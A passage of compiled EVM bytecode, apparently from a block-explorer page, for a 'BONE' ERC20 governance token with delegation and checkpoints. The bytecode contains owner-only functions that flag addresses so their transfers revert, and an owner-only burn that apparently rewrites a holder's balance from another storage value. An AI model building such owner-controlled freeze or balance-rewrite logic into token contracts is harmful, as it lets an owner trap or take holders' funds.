ffffffffffffffffffffffff1614610dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db290612949565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e1e6113db565b73ffffffffffffffffffffffffffffffffffffffff16610e3c611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8990612949565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610fb0610efa6113db565b84610fab856040518060600160405280602581526020016130636025913960016000610f246113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b6001905092915050565b6000610fce610fc76113db565b84846115ac565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611098576000611105565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e69190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111dd6113db565b73ffffffffffffffffffffffffffffffffffffffff166111fb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890612949565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b7906129db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138c91906129fb565b9050838110156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612a7b565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890612b9f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159f9190612539565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061164d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116a95760011515600560009054906101000a900460ff161515146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90612be5565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612d09565b60405180910390fd5b611792838383611d03565b6117fe81604051806060016040528060268152602001612fe160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119339190612539565b60405180910390a3505050565b6000838311158290611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197f91906123f9565b60405180910390fd5b5082846119959190612d29565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a0d846107ed565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b09828483611d08565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e90612dcf565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590612e61565b60405180910390fd5b81600654611c3c9190612d29565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c919190612d29565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612539565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d445750600081115b15611fb257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e7d576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611de7576000611e54565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e359190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e6b8483611fb790919063ffffffff16565b9050611e7986848484612010565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb1576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f1b576000611f88565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f699190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611f9f848361137d90919063ffffffff16565b9050611fad85848484612010565b5050505b5b505050565b600082821115611ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff390612ecd565b60405180910390fd5b81836120089190612d29565b905092915050565b60006120344360405180606001604052806034815260200161302f60349139612313565b905060008463ffffffff161180156120d257508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761209c9190612865565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561214c5781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876121269190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122bc565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561220b9190612eed565b63ffffffff1611612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890612f97565b60405180910390fd5b60018461225e9190612eed565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612304929190612fb7565b60405180910390a25050505050565b60006401000000008310829061235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235691906123f9565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123a3578082015181840152602081019050612388565b60008484015250505050565b6000601f19601f8301169050919050565b60006123cb82612369565b6123d58185612374565b93506123e5818560208601612385565b6123ee816123af565b840191505092915050565b6000602082019050818103600083015261241381846123c0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061244b82612420565b9050919050565b61245b81612440565b811461246657600080fd5b50565b60008135905061247881612452565b92915050565b6000819050919050565b6124918161247e565b811461249c57600080fd5b50565b6000813590506124ae81612488565b92915050565b600080604083850312156124cb576124ca61241b565b5b60006124d985828601612469565b92505060206124ea8582860161249f565b9150509250929050565b60008115159050919050565b612509816124f4565b82525050565b60006020820190506125246000830184612500565b92915050565b6125338161247e565b82525050565b600060208201905061254e600083018461252a565b92915050565b60008060006060848603121561256d5761256c61241b565b5b600061257b86828701612469565b935050602061258c86828701612469565b925050604061259d8682870161249f565b9150509250925092565b600060ff82169050919050565b6125bd816125a7565b82525050565b60006020820190506125d860008301846125b4565b92915050565b6000602082840312156125f4576125f361241b565b5b600061260284828501612469565b91505092915050565b61261481612440565b82525050565b600060208201905061262f600083018461260b565b92915050565b600063ffffffff82169050919050565b61264e81612635565b82525050565b60006020820190506126696000830184612645565b92915050565b600080604083850312156126865761268561241b565b5b600061269485828601612469565b92505060206126a585828601612469565b9150509250929050565b6126b881612635565b81146126c357600080fd5b50565b6000813590506126d5816126af565b92915050565b600080604083850312156126f2576126f161241b565b5b600061270085828601612469565b9250506020612711858286016126c6565b9150509250929050565b60006040820190506127306000830185612645565b61273d602083018461252a565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061278b57607f821691505b60208210810361279e5761279d612744565b5b50919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612800602783612374565b915061280b826127a4565b604082019050919050565b6000602082019050818103600083015261282f816127f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061287082612635565b915061287b83612635565b9250828203905063ffffffff81111561289757612896612836565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128d782612635565b91506128e283612635565b9250826128f2576128f161289d565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612933602083612374565b915061293e826128fd565b602082019050919050565b6000602082019050818103600083015261296281612926565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129c5602683612374565b91506129d082612969565b604082019050919050565b600060208201905081810360008301526129f4816129b8565b9050919050565b6000612a068261247e565b9150612a118361247e565b9250828201905080821115612a2957612a28612836565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a65601b83612374565b9150612a7082612a2f565b602082019050919050565b60006020820190508181036000830152612a9481612a58565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612af7602483612374565b9150612b0282612a9b565b604082019050919050565b60006020820190508181036000830152612b2681612aea565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b89602283612374565b9150612b9482612b2d565b604082019050919050565b60006020820190508181036000830152612bb881612b7c565b9050919050565b50565b6000612bcf600083612374565b9150612bda82612bbf565b600082019050919050565b60006020820190508181036000830152612bfe81612bc2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c61602583612374565b9150612c6c82612c05565b604082019050919050565b60006020820190508181036000830152612c9081612c54565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cf3602383612374565b9150612cfe82612c97565b604082019050919050565b60006020820190508181036000830152612d2281612ce6565b9050919050565b6000612d348261247e565b9150612d3f8361247e565b9250828203905081811115612d5757612d56612836565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612db9602183612374565b9150612dc482612d5d565b604082019050919050565b60006020820190508181036000830152612de881612dac565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e4b602283612374565b9150612e5682612def565b604082019050919050565b60006020820190508181036000830152612e7a81612e3e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612eb7601e83612374565b9150612ec282612e81565b602082019050919050565b60006020820190508181036000830152612ee681612eaa565b9050919050565b6000612ef882612635565b9150612f0383612635565b9250828201905063ffffffff811115612f1f57612f1e612836565b5b92915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612f81603683612374565b9150612f8c82612f25565b604082019050919050565b60006020820190508181036000830152612fb081612f74565b9050919050565b6000604082019050612fcc600083018561252a565b612fd9602083018461252a565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122091ed4b2677ee8ecc20e05b67d9e8a9540462cc18ee176a9ce78b6f69b0d90bac64736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80637ecebe00116100c3578063a9059cbb1161007c578063a9059cbb146103ea578063b3d0cbe31461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b80637ecebe001461031857806395d89b41146103485780639dc29fac146103665780639f08b31914610382578063a12d42bd1461039e578063a457c2d7146103ba5761014d565b80633950935111610115578063395093511461020c578063587cde1e1461023c5780635c19a95c1461026c5780636fcfff451461028857806370a08231146102b8578063782d6fe1146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b60405161016791906123f9565b60405180910390f35b61018a600480360381019061018591906124b4565b610589565b604051610197919061250f565b60405180910390f35b6101a86105a7565b6040516101b59190612539565b60405180910390f35b6101d860048036038101906101d39190612554565b6105b1565b6040516101e5919061250f565b60405180910390f35b6101f661068a565b60405161020391906125c3565b60405180910390f35b610226600480360381019061022191906124b4565b6106a1565b604051610233919061250f565b60405180910390f35b610256600480360381019061025191906125de565b610754565b604051610263919061261a565b60405180910390f35b610286600480360381019061028191906125de565b6107bd565b005b6102a2600480360381019061029d91906125de565b6107ca565b6040516102af9190612654565b60405180910390f35b6102d260048036038101906102cd91906125de565b6107ed565b6040516102df9190612539565b60405180910390f35b61030260048036038101906102fd91906124b4565b610836565b60405161030f9190612539565b60405180910390f35b610332600480360381019061032d91906125de565b610c0b565b60405161033f9190612539565b60405180910390f35b610350610c23565b60405161035d91906123f9565b60405180910390f35b610380600480360381019061037b91906124b4565b610cb5565b005b61039c600480360381019061039791906125de565b610d3f565b005b6103b860048036038101906103b391906125de565b610e16565b005b6103d460048036038101906103cf91906124b4565b610eed565b6040516103e1919061250f565b60405180910390f35b61040460048036038101906103ff91906124b4565b610fba565b604051610411919061250f565b60405180910390f35b610434600480360381019061042f91906125de565b610fd8565b604051610441919061250f565b60405180910390f35b610464600480360381019061045f91906125de565b61102e565b6040516104719190612539565b60405180910390f35b610494600480360381019061048f919061266f565b61110d565b6040516104a19190612539565b60405180910390f35b6104c460048036038101906104bf91906126db565b611194565b6040516104d292919061271b565b60405180910390f35b6104f560048036038101906104f091906125de565b6111d5565b005b60606007805461050690612773565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612773565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113db565b84846113e3565b6001905092915050565b6000600a54905090565b60006105be8484846115ac565b61067f846105ca6113db565b61067a8560405180606001604052806028815260200161300760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113db565b8461074585600160006106bf6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6113e3565b6001905092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107c7338261199e565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043821061087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612816565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16036108e6576000915050610c05565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846109359190612865565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116109e257600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836109bc9190612865565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c05565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610a63576000915050610c05565b600080600183610a739190612865565b90505b8163ffffffff168163ffffffff161115610b9f57600060028383610a9a9190612865565b610aa491906128cc565b82610aaf9190612865565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610b6e57806020015195505050505050610c05565b86816000015163ffffffff161015610b8857819350610b98565b600182610b959190612865565b92505b5050610a76565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610c3290612773565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5e90612773565b8015610cab5780601f10610c8057610100808354040283529160200191610cab565b820191906000526020600020905b815481529060010190602001808311610c8e57829003601f168201915b5050505050905090565b610cbd6113db565b73ffffffffffffffffffffffffffffffffffffffff16610cdb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612949565b60405180910390fd5b610d3b8282611b38565b5050565b610d476113db565b73ffffffffffffffffffffffffffffffffffffffff16610d65611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db290612949565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e1e6113db565b73ffffffffffffffffffffffffffffffffffffffff16610e3c611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8990612949565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610fb0610efa6113db565b84610fab856040518060600160405280602581526020016130636025913960016000610f246113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b6001905092915050565b6000610fce610fc76113db565b84846115ac565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611098576000611105565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e69190612865565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111dd6113db565b73ffffffffffffffffffffffffffffffffffffffff166111fb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890612949565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b7906129db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138c91906129fb565b9050838110156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612a7b565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890612b9f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159f9190612539565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061164d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116a95760011515600560009054906101000a900460ff161515146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90612be5565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612d09565b60405180910390fd5b611792838383611d03565b6117fe81604051806060016040528060268152602001612fe160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119339190612539565b60405180910390a3505050565b6000838311158290611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197f91906123f9565b60405180910390fd5b5082846119959190612d29565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a0d846107ed565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b09828483611d08565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e90612dcf565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590612e61565b60405180910390fd5b81600654611c3c9190612d29565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c919190612d29565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612539565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d445750600081115b15611fb257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e7d576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611de7576000611e54565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673f